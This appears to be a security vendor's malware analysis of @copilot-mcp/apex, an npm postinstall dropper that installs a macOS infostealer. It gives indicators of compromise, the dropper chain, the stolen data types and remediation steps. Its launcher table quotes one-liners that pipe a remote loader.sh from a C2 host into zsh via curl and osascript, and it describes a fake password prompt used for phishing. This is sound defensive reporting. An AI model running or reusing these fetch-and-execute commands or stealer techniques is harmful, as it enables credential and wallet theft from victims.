{"slug": "copilot-mcp-apex-a-macos-infostealer-re-published-on-npm-after-takedown", "title": "@copilot-mcp/apex: A macOS Infostealer Re-Published on npm After Takedown", "summary": "The npm package @copilot-mcp/apex is a postinstall dropper that installs a macOS infostealer on any machine that runs npm install or npx @copilot-mcp/apex, according to a security analysis. The package, which targets Web3 and crypto founders with a fake AI-advisor pitch, was re-published under a new scope 11 hours after npm's security team removed the original dropper @apexfdn/apex. The stealer phishes the login password, harvests browser credentials, 20+ crypto wallets, the login Keychain, Telegram, and shell history, and exfiltrates the data over HTTPS.", "body_md": "# @copilot-mcp/apex: A macOS Infostealer Re-Published on npm After Takedown\n\n### Table of Contents\n\nResolution / Status:The npm security team already removed the original dropper,`@apexfdn/apex`\n\n, and replaced it with a`0.0.1-security`\n\nplaceholder that states outright the package “contained malicious code.” The operator re-published the same dropper under a new scope,`@copilot-mcp/apex`\n\n, about 11 hours later, and has since pushed 20+ versions (`1.0.0`\n\nthrough`1.0.22`\n\n) in about 8 hours. At the time of writing,`@copilot-mcp/apex`\n\nremains live on npm and is still being updated.\n\n## TL;DR\n\n`@copilot-mcp/apex`\n\nis a postinstall dropper that installs a macOS infostealer on any machine that runs `npm install`\n\nor `npx @copilot-mcp/apex`\n\n. It is not a first attempt. npm’s security team already removed the same code once, published under the name `@apexfdn/apex`\n\n, and the operator answered by moving the dropper to a new scope rather than stopping. The campaign runs three npm-adjacent surfaces built by one operator:\n\n| Package / vector | Role | Status |\n|---|---|---|\n`@apexfdn/apex` | Original postinstall dropper | Removed by npm; now a `0.0.1-security` placeholder |\n`@copilot-mcp/apex` | Same dropper, re-published under a new scope | Live, versions `1.0.0` -`1.0.22` |\n`@apexfdn/copilot-mcp` | The advertised MCP server (“diligence tools”) | Payload-free, but same-operator front |\n`arena.apexfdn.xyz/api/copilot/mcp` | Hosted remote MCP endpoint (Bearer token) | No-install vector, sends tokens to attacker infra |\n\nOn macOS, the dropper’s second stage decrypts and runs an AppleScript payload through `osascript`\n\n. The decrypted payload is a 707-line AMOS-family stealer: it phishes the login password through a fake system prompt, then harvests browser credentials, 20+ crypto wallets, the login Keychain, Telegram, and shell history into `/tmp/osalogging.zip`\n\nand uploads it over chunked HTTPS PUT to attacker infrastructure. The lure targets Web3 and crypto founders with a “free LLM credits” AI-advisor pitch.\n\n**Impact:**\n\n- Runs on\n`npm install`\n\nor`npx`\n\n, with no user interaction beyond the install itself - Downloads a ~120-150MB platform binary from a GitHub repo different from the one the package advertises as its source, pinned to a static release tag so the payload can be swapped server-side without a new npm publish\n- On macOS, phishes the login password through a fake system dialog, then steals browser credentials and cookies, 20+ crypto wallets, the login Keychain, Telegram, and shell history, installs a LaunchAgent for persistence, and exfiltrates the archive at\n`/tmp/osalogging.zip`\n\nover HTTPS - Already survived one npm takedown: removed as\n`@apexfdn/apex`\n\n, live again as`@copilot-mcp/apex`\n\nwithin 11 hours, and still iterating - On Linux and Windows the macOS theft path does not fire, but\n`postinstall`\n\nstill executes an unreviewed downloaded binary; the campaign is not safe on any platform\n\n**Indicators of Compromise (IoC):**\n\n| Indicator | Value |\n|---|---|\n| npm package (malicious, live) | `@copilot-mcp/apex` , versions `1.0.0` -`1.0.22` |\n| npm package (malicious, removed by npm) | `@apexfdn/apex` , now a `0.0.1-security` placeholder |\n| npm package (same-operator front) | `@apexfdn/copilot-mcp` |\n| Hosted remote-MCP endpoint | hxxps://arena[.]apexfdn[.]xyz/api/copilot/mcp (Bearer token) |\n| C2 / exfil domain | update[.]apex-arena-router[.]com |\n| C2 paths | /loader.sh, /payload.enc, /v1/asset/<id>/init, /v1/asset/<id> (PUT) |\n| Dropped file | /tmp/osalogging.zip |\n| Staging directory | /tmp/sync<random>/ |\n| Persistence | LaunchAgent installed on macOS |\n| Encrypted stealer payload | `payload.enc` , SHA256 `ecd1113fae1ede9869afd9d1af612bab7f1a2054e5c45a346e18c107c22b9164` (AES-256-CBC, SHA-256 key derivation, key = upload token) |\n| AES-256 key / upload token | 5c6f24c905ae3883355a26fceac3dda0d0dfe67ba8e1220ebe784a29544c6ee4 |\n| GitHub org / repos | `Apex-Foundation` (org); `Apex-Foundation/copilot` , weaponized, a fork of `can1357/oh-my-pi` ; `Apex-Foundation/copilot-mcp` , the advertised (clean) source |\n| Release assets | `apex-linux-x64` , `apex-darwin-arm64` , `apex-darwin-x64` , `apex-windows-x64` , `apex-helper-darwin` , `apex-auth-darwin` , `pi_natives.win32-x64-baseline.node` |\n| npm accounts | `copilotapex` , `apex-fdn` |\n| Emails | chefkecharlie[at]gmail[.]com, arena[at]apexfdn[.]xyz, contact[at]apexfdn[.]xyz |\n| Related domains | apexfdn[.]xyz, arena[.]apexfdn[.]xyz, docs[.]apexfdn[.]xyz |\n| Cover metadata (legitimate, not attacker infra) | `omp.sh` , the real homepage of `oh-my-pi` , referenced in package metadata as cover |\n| Social | Telegram `@charlereum` , `@apex_accelerator` ; X `@AcceleratorApex` ; Medium `@ApexAccelerator` |\n| Tarball SHA1 | `1.0.0` : `233f90180b529aa32911901e5222e9ed9c3cd24c` ; `1.0.19` : `3b9a880ae4e1c5b7bbd68e118a1c3c8b592f7bfb` |\n\n## Analysis\n\n### A campaign built on an aged, legitimate-looking brand\n\nThe GitHub org `Apex-Foundation`\n\nand the package `@apexfdn/copilot-mcp`\n\nv0.1.0 both appeared on 2026-04-30. For about three months, `@apexfdn/copilot-mcp`\n\noperated as ordinary open source: badges, a Glama listing score, a “privacy contract” section in its docs, and around 229 downloads a week. None of that code is malicious. Its job was to make the brand look established before the dropper arrived.\n\nThe dropper rides that brand two ways. First, through naming: the scope `@copilot-mcp`\n\nborrows the credibility of GitHub Copilot without belonging to GitHub. Second, through the tool itself: the binary the dropper installs comes from `Apex-Foundation/copilot`\n\n, a fork of `can1357/oh-my-pi`\n\n, a real coding agent by Can Boluk and Mario Zechner. The fork gives victims a working AI coding tool, which is what makes the install look successful and removes any reason to look closer.\n\nThe pitch is “Apex Foundation,” a Web3 founder AI advisor offering free Claude and Gemini credits, hosted at `arena.apexfdn.xyz/dashboard/copilot`\n\n. Crypto founders are the target audience: high-value victims who hold wallets and API keys worth stealing.\n\n| When (UTC) | Event |\n|---|---|\n| 2026-04-30 23:03 | GitHub org `Apex-Foundation` and `@apexfdn/copilot-mcp` v0.1.0 created, the payload-free cover |\n| by 2026-07-21 | First dropper published as `@apexfdn/apex` |\n| 2026-07-21 21:00 | npm security team removes `@apexfdn/apex` for malicious code |\n| 2026-07-22 08:04 | Operator re-publishes the same dropper as `@copilot-mcp/apex` |\n| 2026-07-22 08:04-16:48 | 20+ versions (`1.0.0` -`1.0.22` ) ship, A/B-testing the macOS launcher |\n\n### Takedown and re-publish\n\nnpm’s own security team confirms the verdict. The `0.0.1-security`\n\nplaceholder that now occupies `@apexfdn/apex`\n\nreads verbatim: *“This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.”*\n\nThe operator’s response took about 11 hours: publish the identical dropper under `@copilot-mcp/apex`\n\n. The move doubles as rebranding, since the new scope trades on GitHub Copilot’s name where the old one traded on the operator’s own.\n\nThe GitHub repository at `Apex-Foundation/copilot`\n\nnever caught up. Its README still tells users to run `npx @apexfdn/apex`\n\n, the name npm already removed. The same README documents a second, no-install vector: a hosted remote MCP server at `https://arena.apexfdn.xyz/api/copilot/mcp`\n\nthat a client reaches with a Bearer token instead of installing anything. The stale instructions confirm the republish happened faster than the documentation, and the hosted endpoint means the campaign does not depend on npm distribution at all.\n\n### The two package roles, same operator\n\n`@copilot-mcp/apex`\n\nand `@apexfdn/copilot-mcp`\n\nlook like two different projects. They are run by one operator. The dropper’s maintainer email is\n\n; the cover package’s maintainer email is [[email protected]](/cdn-cgi/l/email-protection)\n\n, same domain. Both point to the same GitHub repo home and the same homepage, [[email protected]](/cdn-cgi/l/email-protection)`arena.apexfdn.xyz/dashboard/copilot`\n\n. The exfil domain `apex-arena-router.com`\n\nreuses the brand’s own “apex arena” identity rather than picking an unrelated name. And the dropper’s `apex.cjs --mcp-stdio`\n\ncode path launches `@apexfdn/copilot-mcp`\n\ndirectly, a flow that only works if the same party controls both packages.\n\nThat link is invisible to a lockfile or SBOM. `@apexfdn/copilot-mcp`\n\nis not declared as a dependency of `@copilot-mcp/apex`\n\n; the dropper reaches it at runtime through `require.resolve`\n\nand `npx`\n\n, so nothing in `package.json`\n\nshows the connection. A scanner that only reads declared dependencies sees one isolated package.\n\nNeither package impersonates the other. What both packages impersonate are two real projects: GitHub Copilot, through the `@copilot-mcp`\n\nscope name, and `oh-my-pi`\n\n, through the forked repo, the `omp.sh`\n\nhomepage reference, and the author/contributor fields borrowed from its real maintainers.\n\n`@apexfdn/copilot-mcp`\n\nitself contains no malicious code. It is not, for that reason, a safe or independent package. It forwards a user’s token and extracted document excerpts to `arena.apexfdn.xyz`\n\n, the operator’s own domain. Treat it as attacker-controlled infrastructure rather than a clean alternative.\n\n### The postinstall dropper chain\n\n`@copilot-mcp/apex`\n\ndeclares `\"postinstall\": \"node install.cjs\"`\n\n, which npm runs on install with no prompt. `install.cjs`\n\ndownloads a platform-specific binary, 120-150MB, from `Apex-Foundation/copilot/releases/download/v1.0.0/apex-<target>`\n\nand marks it executable.\n\nThe source you can read is not the code that runs. The package’s `repository`\n\nfield points at `Apex-Foundation/copilot-mcp`\n\n, benign TypeScript that anyone can review on GitHub. The binary comes from a different repository, `Apex-Foundation/copilot`\n\n, the `oh-my-pi`\n\nfork. Reading the advertised source tells a reviewer nothing about what the installed binary does.\n\n`install.cjs`\n\nhardcodes `RELEASE_VERSION`\n\nto `'1.0.0'`\n\n, so every npm version published so far, `1.0.0`\n\nthrough `1.0.22`\n\n, fetches from the same GitHub release tag. That release’s assets were re-uploaded at 16:46 UTC, after several of those npm publishes had already gone out. The operator can replace the binary on GitHub without touching npm at all; the npm tarball stays static and keeps looking clean under review, while the thing it downloads changes underneath it. A bundled `.sha256`\n\ncheck verifies that the download was not corrupted in transit. It says nothing about who built the file, and provides no authenticity guarantee.\n\nOn Windows, the same installer pulls a native addon, `pi_natives.win32-x64-baseline.node`\n\n, from the same release. `apex.cjs`\n\nlater runs the downloaded binary; its `--mcp-stdio`\n\nmode shells out to the clean `@apexfdn/copilot-mcp`\n\ncover, which is why the tool appears to work.\n\nThis analysis did not reverse-engineer the large platform binary itself; it is a repackaged `oh-my-pi`\n\nused as functional cover, and no confirmed malicious code was found inside it beyond the postinstall behavior described here. That is not a clearance. `install.cjs`\n\nfetches and executes it with no verification of who built it, on Linux and Windows as well as macOS, so running the package is unsafe on every platform regardless of what the binary itself does.\n\n### The macOS stealer: loader.sh\n\nThe macOS payload is a `#!/bin/zsh`\n\nscript whose body is a single base64 blob, decoded here without ever piping it to a shell:\n\nThe AES key and the “upload token” sent back in every exfil request are the same string. The script fetches `payload.enc`\n\n, decrypts it with that key, and pipes the plaintext into `osascript`\n\n, an in-memory AppleScript/JXA stage never written to disk as a separate file. That stage produces `/tmp/osalogging.zip`\n\n, which the script then uploads in a POST-init-then-PUT sequence with up to eight retries before deleting the file.\n\n### The stealer payload: what it steals\n\n`payload.enc`\n\nuses the same key the loader prints, the `upload_token`\n\n, so we decrypted it offline: `openssl enc -aes-256-cbc -d -md sha256 -pass pass:<token>`\n\n, output written to a file, never piped to `osascript`\n\n. It decrypts to a 707-line AppleScript from the AMOS (“Atomic Stealer”) family. The script runs the theft the loader only sets up.\n\nThe script takes the victim’s login password first. It shows a native-looking prompt, “Please enter your password to continue,” titled “macOS” with the system lock icon, and loops until the entry validates against the real account through `dscl . authonly`\n\n. It saves that password and reuses it to unlock the rest.\n\nIt then stages everything under `/tmp/sync<random>/`\n\nand collects:\n\n- Browser data from Chrome, Chromium, Brave, Edge, Opera, Vivaldi, Firefox, and Safari: cookies, Login Data, Web Data, and the Local State keys that decrypt them\n- Browser-extension wallets, keyed by extension ID\n- 20+ desktop crypto wallets, including Exodus, Electrum, Atomic, Coinomi, Sparrow, Wasabi, Ledger Live, Trezor Suite, Trust, Monero, and the Bitcoin, Litecoin, Dogecoin, and Dash Core clients\n- The login Keychain, iCloud keys, Apple Notes, and Telegram session data\n- Shell history and configuration:\n`.zshrc`\n\n,`.zsh_history`\n\n,`.bash_history`\n\n,`.gitconfig`\n\nIt installs a LaunchAgent for persistence, then archives the staging directory with `ditto -c -k --sequesterRsrc <dir> /tmp/osalogging.zip`\n\nand clears `/tmp/sync*`\n\n. That archive is the same `/tmp/osalogging.zip`\n\nthe loader uploads, which closes the chain from `npm install`\n\nto loader to stealer to exfiltration.\n\n### Live delivery-technique evolution\n\nThe stealer daemon above has not changed across versions. The launcher that starts it has, and the operator appears to be testing which version evades detection best:\n\n| Version | Launcher | Technique |\n|---|---|---|\n`1.0.0` | Inline `/bin/zsh -c 'curl -fsSL .../loader.sh | zsh'` | Direct one-liner, shown with a “your Mac may ask for your password” prompt |\n`1.0.19` | Downloads `apex-helper-darwin` (~63MB) from the GitHub release, `chmod 0755` , runs it via `spawnSync` , deletes it | Moves the same logic into a compiled helper to dodge static detection of a `curl | zsh` string |\n`1.0.21` -`1.0.22` | `osascript -e 'do shell script \"curl -fsSL .../loader.sh | zsh\"'` | Triggers macOS’s native password dialog; `1.0.22` runs it `detached: true` , `stdio: 'ignore'` , `ps.unref()` , so it survives after the install returns and produces no visible output |\n\nTwenty or more versions shipped within about 8 hours on 2026-07-22, and the package kept bumping during this analysis. No published version is safe. The operator keeps iterating, so blocking should target the package name, not a version range.\n\n### Hunting the campaign\n\nTwo ownership pivots bounded the scope: npm’s `maintainer:copilotapex`\n\nand `maintainer:apex-fdn`\n\nsearches, and the authoritative org-ownership listings for the `copilot-mcp`\n\nand `apexfdn`\n\nnpm orgs. Both returned the same two live packages and nothing else. The GitHub org `Apex-Foundation`\n\nholds five repositories and one member; three are `awesome-*`\n\nrepos that pad legitimacy and SEO, `copilot-mcp`\n\nis the clean cover source, and only `copilot`\n\n(the `oh-my-pi`\n\nfork) carries the weaponized binary.\n\nA web search for the C2 domain and the package name returned nothing. The package was about eight hours old at the time of the search, and threat-intel indexes and blog coverage lag behind a same-day drop by days or weeks. A broader npm text sweep across the campaign’s own vocabulary (apex, web3, founder, diligence, copilot, arena, solidity) and its impersonated identity (`oh-my-pi`\n\n, `omp.sh`\n\n) surfaced only the legitimate `oh-my-pi`\n\necosystem and unrelated projects. No third live package matched the fingerprint.\n\nOne limitation deserves a direct statement. The org-ownership listing missed `@apexfdn/apex`\n\n, because npm had already seized the name and transferred it to `npm-support`\n\nonce the package was removed. Ownership queries only see what an account currently owns, not what has already been taken down, so they undercount removed siblings. The name `@apexfdn/apex`\n\nsurfaced only because the attacker’s own GitHub README still referenced it. Pivoting on attacker-authored docs and removed-package placeholders catches what live ownership records miss.\n\nA second limitation has no workaround from search alone: npm’s registry search does not index install-script code or `postinstall`\n\nbehavior. It cannot find a sibling published under an unrelated, unknown account that reuses the same payload but ships under a different name. Finding that kind of sibling needs code- or behavior-level scanning across the registry, not metadata search.\n\n## Detection with vet\n\n[ vet](https://github.com/safedep/vet) runs malicious-package analysis that inspects install-script and runtime behavior alongside code content, not just package metadata. That matters for this campaign: the traits that make\n\n`@copilot-mcp/apex`\n\nmalicious are a `postinstall`\n\nhook downloading a platform binary from a GitHub release URL, a macOS-gated branch that pipes `curl`\n\ninto `zsh`\n\nor shells out through `osascript`\n\n, AES-encrypted payload fetches, and writes to `/tmp/*.zip`\n\nfollowed by an HTTP upload. None of that shows up by reading the package name or the version number, and none of it changes when the operator republishes under a new scope. Behavior-based analysis flags the pattern independent of which name or version it currently wears.## Remediation\n\n- Do not install\n`@copilot-mcp/apex`\n\nor`@apexfdn/apex`\n\nat any version. Block the package by name rather than by version range, since the operator keeps republishing under new scopes and names. - Block\n`update.apex-arena-router.com`\n\nand the`apexfdn.xyz`\n\ndomain family at DNS, proxy, or EDR. - Treat\n`@apexfdn/copilot-mcp`\n\nand the hosted`arena.apexfdn.xyz/api/copilot/mcp`\n\nMCP endpoint as attacker infrastructure, not as a safe alternative. - If the package ran on a Mac, assume compromise. Check for\n`/tmp/osalogging.zip`\n\nand a`~/.apex/`\n\ndirectory, then rotate browser-saved credentials, cloud and API tokens, SSH keys, and crypto wallet seed phrases.\n\n## Conclusion\n\nnpm’s removal of `@apexfdn/apex`\n\nis proof the takedown worked, and proof it was not enough. The operator kept the payload, kept the infrastructure, and only changed the name, moving from a domain it built for three months to a scope that borrows GitHub Copilot’s name instead. Twenty-plus version bumps in a single day show a team still tuning the macOS launcher rather than one that walked away after getting caught.\n\nPackage-name takedowns remove a symptom. The dropper, the AES key, the C2 domain, and the `oh-my-pi`\n\nfork it repackages are the disease, and all of them are still active under `@copilot-mcp/apex`\n\nas of this writing. Anyone who scans dependencies by name and version history will miss the resubmission. Anyone who scans install-script behavior will not.\n\n- vet\n- malware\n- npm\n- supply-chain\n\n### Author\n\n#### [ Kunal Singh ](https://www.linkedin.com/in/kunalsin9h/)\n\nsafedep.io\n\n### Share\n\n## The Latest from SafeDep blogs\n\nFollow for the latest updates and insights on open source security & engineering\n\n[ ](/asyncapi-generator-supply-chain-attack-miasma-rat)\n\n## [ AsyncAPI Packages Compromised with Miasma RAT ](/asyncapi-generator-supply-chain-attack-miasma-rat)\n\nFour @asyncapi npm packages were published with obfuscated malware on July 14, 2026 via compromised CI workflows. The payload downloads Miasma RAT, a credential stealer targeting browsers, SSH keys,...\n\n[ ](/malicious-nodemon-sudo-tslint-conf-npm-backdoor)\n\n## [ nodemon-sudo: an npm Backdoor With No Install Script ](/malicious-nodemon-sudo-tslint-conf-npm-backdoor)\n\nnodemon-sudo copies the real nodemon byte for byte, adds nothing malicious to its own code, and injects one extra dependency, tslint-conf, a repackaged pino logger carrying a backdoor. There is no...\n\n[ ](/jscrambler-npm-supply-chain-compromise)\n\n## [ Official jscrambler npm Package Compromised Across Multiple Releases ](/jscrambler-npm-supply-chain-compromise)\n\nThe official jscrambler npm package (60K monthly downloads) was trojanized starting at 8.14.0 through an npm account or CI compromise. The attacker republished the same Rust infostealer across five...\n\n[ ](/marketfront-dependency-confusion-campaign)\n\n## [ @marketfront: 25 npm Packages Reuse a Known Lure ](/marketfront-dependency-confusion-campaign)\n\nOn July 1, 2026, npm user marketfront batch-published 25 packages carrying the same README lure SafeDep has tracked across four earlier accounts (mr.4nd3r50n, pik-libs, t-in-one, emcd-vue): \"Internal...\n\n## Ship Code.\n\n## Not Malware.\n\nStart free with open source tools on your machine. Scale to a unified platform for your organization.", "url": "https://wpnews.pro/news/copilot-mcp-apex-a-macos-infostealer-re-published-on-npm-after-takedown", "canonical_source": "https://safedep.io/malicious-copilot-mcp-apex-npm-macos-infostealer", "published_at": "2026-07-22 18:05:39.100321+00:00", "updated_at": "2026-07-22 18:05:41.505222+00:00", "lang": "en", "topics": ["ai-tools", "ai-safety", "ai-startups"], "entities": ["npm", "@copilot-mcp/apex", "@apexfdn/apex", "Apex-Foundation", "macOS", "AMOS"], "alternates": {"html": "https://wpnews.pro/news/copilot-mcp-apex-a-macos-infostealer-re-published-on-npm-after-takedown", "markdown": "https://wpnews.pro/news/copilot-mcp-apex-a-macos-infostealer-re-published-on-npm-after-takedown.md", "text": "https://wpnews.pro/news/copilot-mcp-apex-a-macos-infostealer-re-published-on-npm-after-takedown.txt", "jsonld": "https://wpnews.pro/news/copilot-mcp-apex-a-macos-infostealer-re-published-on-npm-after-takedown.jsonld"}}